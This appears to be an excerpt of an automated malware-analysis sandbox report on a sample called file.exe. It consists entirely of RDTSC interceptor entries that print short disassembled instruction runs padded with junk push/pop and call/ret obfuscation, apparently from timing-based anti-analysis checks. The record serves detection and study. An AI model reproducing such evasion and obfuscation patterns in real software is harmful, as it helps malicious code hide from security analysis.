Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA397 second address: ECA39D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA39D second address: ECA3A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90756 second address: E90764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F1B3079D696h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECD915 second address: ECD945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a jg 00007F1B30DB09A6h 0x00000010 popad 0x00000011 jo 00007F1B30DB09A8h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e pushad 0x0000001f jmp 00007F1B30DB09ADh 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECD945 second address: ECD964 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B3079D6A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECD964 second address: ECDA17 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F1B30DB09B5h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jne 00007F1B30DB09AEh 0x00000015 pop eax 0x00000016 pushad 0x00000017 jnl 00007F1B30DB09BBh 0x0000001d add ebx, dword ptr [ebp+122D28E2h] 0x00000023 popad 0x00000024 call 00007F1B30DB09A9h 0x00000029 jns 00007F1B30DB09ACh 0x0000002f push eax 0x00000030 jmp 00007F1B30DB09B5h 0x00000035 mov eax, dword ptr [esp+04h] 0x00000039 push edi 0x0000003a pushad 0x0000003b push edi 0x0000003c pop edi 0x0000003d pushad 0x0000003e popad 0x0000003f popad 0x00000040 pop edi 0x00000041 mov eax, dword ptr [eax] 0x00000043 pushad 0x00000044 jmp 00007F1B30DB09AFh 0x00000049 pushad 0x0000004a jne 00007F1B30DB09A6h 0x00000050 ja 00007F1B30DB09A6h 0x00000056 popad 0x00000057 popad 0x00000058 mov dword ptr [esp+04h], eax 0x0000005c pushad 0x0000005d pushad 0x0000005e push edx 0x0000005f pop edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDA17 second address: ECDA1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDF8D second address: ECDF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDF91 second address: ECDF97 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE066 second address: ECE06B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE06B second address: ECE09F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B3079D6A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007F1B3079D6B2h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1B3079D6A4h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE4F2 second address: ECE4F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE4F6 second address: ECE502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB0A second address: ECEB10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEBBD second address: ECEBC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF0A6 second address: ECF0B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B30DB09AEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF0B8 second address: ECF110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov esi, dword ptr [ebp+122D2B56h] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F1B3079D698h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d jnc 00007F1B3079D69Ah 0x00000033 movzx esi, di 0x00000036 push 00000000h 0x00000038 or edi, 406DCE07h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push ecx 0x00000042 jmp 00007F1B3079D69Bh 0x00000047 pop ecx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECFAD8 second address: ECFB6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B30DB09B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F1B30DB09A8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 jmp 00007F1B30DB09B0h 0x00000029 push 00000000h 0x0000002b sub dword ptr [ebp+122D227Fh], ebx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007F1B30DB09A8h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 00000018h 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d xor dword ptr [ebp+122D227Fh], ebx 0x00000053 xchg eax, ebx 0x00000054 jmp 00007F1B30DB09B7h 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECFB6E second address: ECFB73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF934 second address: ECF94A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1B30DB09AEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF94A second address: ECF94E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF94E second address: ECF960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F1B30DB09A8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2109 second address: ED210D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED210D second address: ED215C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F1B30DB09A8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 jmp 00007F1B30DB09B5h 0x00000027 mov esi, ebx 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d xor dword ptr [ebp+122D37FDh], ebx 0x00000033 xchg eax, ebx 0x00000034 pushad 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2B96 second address: ED2BB8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1B3079D6A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2BB8 second address: ED2C23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B30DB09B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F1B30DB09A8h 0x0000000f popad 0x00000010 nop 0x00000011 mov esi, dword ptr [ebp+122D22D1h] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F1B30DB09A8h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 push 00000000h 0x00000035 sbb edi, 2E3F43EFh 0x0000003b mov edi, dword ptr [ebp+122D290Ah] 0x00000041 push eax 0x00000042 jp 00007F1B30DB09B0h 0x00000048 pushad 0x00000049 pushad 0x0000004a popad 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED298E second address: ED2992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3425 second address: ED342A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED342A second address: ED342F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7A25 second address: ED7A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7A2B second address: ED7A35 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7A35 second address: ED7A3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97566 second address: E97583 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B3079D69Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d jo 00007F1B3079D696h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97583 second address: E97589 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED8C17 second address: ED8C1C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED8C1C second address: ED8C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a or bh, FFFFFFBFh 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F1B30DB09A8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007F1B30DB09A8h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 0000001Dh 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 add bl, FFFFFFF0h 0x00000048 mov bx, 7AEBh 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F1B30DB09AFh 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED8C8E second address: ED8C94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9D86 second address: ED9D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9D94 second address: ED9D9D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9D9D second address: ED9E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D28C6h] 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 jng 00007F1B30DB09ACh 0x00000016 add edi, 64E3E1C0h 0x0000001c pop ebx 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007F1B30DB09A8h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 00000017h 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 mov dword ptr [ebp+122D248Dh], eax 0x0000003f push eax 0x00000040 pushad 0x00000041 push ebx 0x00000042 jmp 00007F1B30DB09B9h 0x00000047 pop ebx 0x00000048 push eax 0x00000049 push edx 0x0000004a je 00007F1B30DB09A6h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDAF6D second address: EDAF96 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1B3079D6A5h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1B3079D69Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDAF96 second address: EDAFB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B30DB09B8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9FBA second address: ED9FC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA08C second address: EDA093 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDBEAF second address: EDBF41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B3079D6A9h 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F1B3079D69Bh 0x00000012 jo 00007F1B3079D698h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b nop 0x0000001c mov edi, dword ptr [ebp+122D2946h] 0x00000022 push 00000000h 0x00000024 mov ebx, dword ptr [ebp+122D2255h] 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edi 0x0000002f call 00007F1B3079D698h 0x00000034 pop edi 0x00000035 mov dword ptr [esp+04h], edi 0x00000039 add dword ptr [esp+04h], 0000001Dh 0x00000041 inc edi 0x00000042 push edi 0x00000043 ret 0x00000044 pop edi 0x00000045 ret 0x00000046 call 00007F1B3079D6A9h 0x0000004b mov ebx, eax 0x0000004d pop ebx 0x0000004e xchg eax, esi 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 jns 00007F1B3079D696h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDBF41 second address: EDBF47 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDB0E9 second address: EDB0F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDBF47 second address: EDBF4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD062 second address: EDD066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF108 second address: EDF10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD12E second address: EDD136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE0377 second address: EE037C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2116 second address: EE211F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE4204 second address: EE422A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F1B30DB09B6h 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE793B second address: EE793F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE793F second address: EE7943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE7943 second address: EE7992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a popad 0x0000000b nop 0x0000000c mov di, EAC9h 0x00000010 push 00000000h 0x00000012 pushad 0x00000013 or dword ptr [ebp+124514FFh], ecx 0x00000019 mov ax, 3DE1h 0x0000001d popad 0x0000001e mov edi, 7F432670h 0x00000023 push 00000000h 0x00000025 mov ebx, dword ptr [ebp+122D2876h] 0x0000002b xchg eax, esi 0x0000002c jmp 00007F1B3079D6A3h 0x00000031 push eax 0x00000032 pushad 0x00000033 pushad 0x00000034 ja 00007F1B3079D696h 0x0000003a pushad 0x0000003b popad 0x0000003c popad 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE7992 second address: EE7996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3358 second address: EE3382 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jl 00007F1B3079D6ABh 0x00000012 jmp 00007F1B3079D6A5h 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE237F second address: EE239E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1B30DB09B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE54BE second address: EE54DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1B3079D6A4h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3382 second address: EE341B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 nop 0x00000007 mov bl, dh 0x00000009 push dword ptr fs:[00000000h] 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F1B30DB09A8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a call 00007F1B30DB09B0h 0x0000002f push ebx 0x00000030 pushad 0x00000031 popad 0x00000032 pop ebx 0x00000033 pop ebx 0x00000034 mov bx, ax 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e jmp 00007F1B30DB09B0h 0x00000043 mov eax, dword ptr [ebp+122D02D9h] 0x00000049 mov dword ptr [ebp+122D1E7Ah], ebx 0x0000004f push FFFFFFFFh 0x00000051 pushad 0x00000052 mov edx, dword ptr [ebp+122D2577h] 0x00000058 ja 00007F1B30DB09A9h 0x0000005e popad 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F1B30DB09B7h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE88E2 second address: EE88E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE4502 second address: EE450C instructions: 0x00000000 rdtsc 0x00000002 je 00007F1B30DB09ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE54DD second address: EE54E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE88E6 second address: EE8984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007F1B30DB09B6h 0x0000000f pop ebx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F1B30DB09A8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c mov edi, esi 0x0000002e jp 00007F1B30DB09ACh 0x00000034 call 00007F1B30DB09AAh 0x00000039 call 00007F1B30DB09AFh 0x0000003e sub edi, dword ptr [ebp+1246ECB7h] 0x00000044 pop ebx 0x00000045 pop ebx 0x00000046 push 00000000h 0x00000048 or dword ptr [ebp+1244C0EAh], ecx 0x0000004e xchg eax, esi 0x0000004f jc 00007F1B30DB09B6h 0x00000055 jmp 00007F1B30DB09B0h 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push edx 0x0000005e jg 00007F1B30DB09A6h 0x00000064 pop edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE450C second address: EE452C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F1B3079D6A4h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE54E1 second address: EE54EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F1B30DB09A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE452C second address: EE4530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE54EF second address: EE54F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE7A79 second address: EE7A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1B3079D696h 0x0000000a popad 0x0000000b rdtsc
